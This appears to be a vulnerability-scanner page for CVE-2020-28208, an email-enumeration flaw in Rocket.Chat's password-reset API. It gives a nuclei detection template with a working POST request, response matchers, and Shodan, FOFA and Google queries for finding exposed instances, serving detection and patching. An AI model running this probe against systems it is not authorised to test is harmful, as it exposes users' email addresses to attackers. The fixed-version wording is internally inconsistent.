Rocket.Chat <3.9.1 - Information Disclosure

mediumseverity

5.3CVSS score

10.8%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Rocket.Chat through 3.9.1 is susceptible to information disclosure. An attacker can enumerate email addresses via the password reset function and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.

Impact

The vulnerability can lead to the exposure of sensitive information, such as user credentials or private conversations, potentially compromising the confidentiality of the system.

Fix

Upgrade Rocket.Chat to version 3.9.1 or later to mitigate the information disclosure vulnerability (CVE-2020-28208).

How to confirm it

Send: POST /api/v1/method.callAnon/sendForgotPasswordEmail
Positive when: contains "\"result\\\":false" and "\"success\":true" AND status 200

Run it with nuclei: nuclei -id CVE-2020-28208 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-28208

info:
  name: Rocket.Chat <3.9.1 - Information Disclosure
  author: pdteam
  severity: medium
  description: Rocket.Chat through 3.9.1 is susceptible to information disclosure. An attacker can enumerate email addresses via the password reset function and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    The vulnerability can lead to the exposure of sensitive information, such as user credentials or private conversations, potentially compromising the confidentiality of the system.
  remediation: |
    Upgrade Rocket.Chat to version 3.9.1 or later to mitigate the information disclosure vulnerability (CVE-2020-28208).
  reference:
    - https://trovent.io/security-advisory-2010-01
    - https://trovent.github.io/security-advisories/TRSA-2010-01/TRSA-2010-01.txt
    - http://www.openwall.com/lists/oss-security/2021/01/07/1
    - http://packetstormsecurity.com/files/160845/Rocket.Chat-3.7.1-Email-Address-Enumeration.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28208
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-28208
    cwe-id: CWE-203
    epss-score: 0.10817
    epss-percentile: 0.95884
    cpe: cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rocket.chat
    product: rocket.chat
    shodan-query: http.title:"rocket.chat"
    fofa-query: title="rocket.chat"
    google-query: intitle:"rocket.chat"
  tags: cve,cve2020,packetstorm,rocketchat,rocket.chat,vuln

http:
  - raw:
      - |
        POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/json

        {"message":"{\"msg\":\"method\",\"method\":\"sendForgotPasswordEmail\",\"params\":[\"[email protected]\"],\"id\":\"3\"}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"result\":false'
          - '"success":true'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from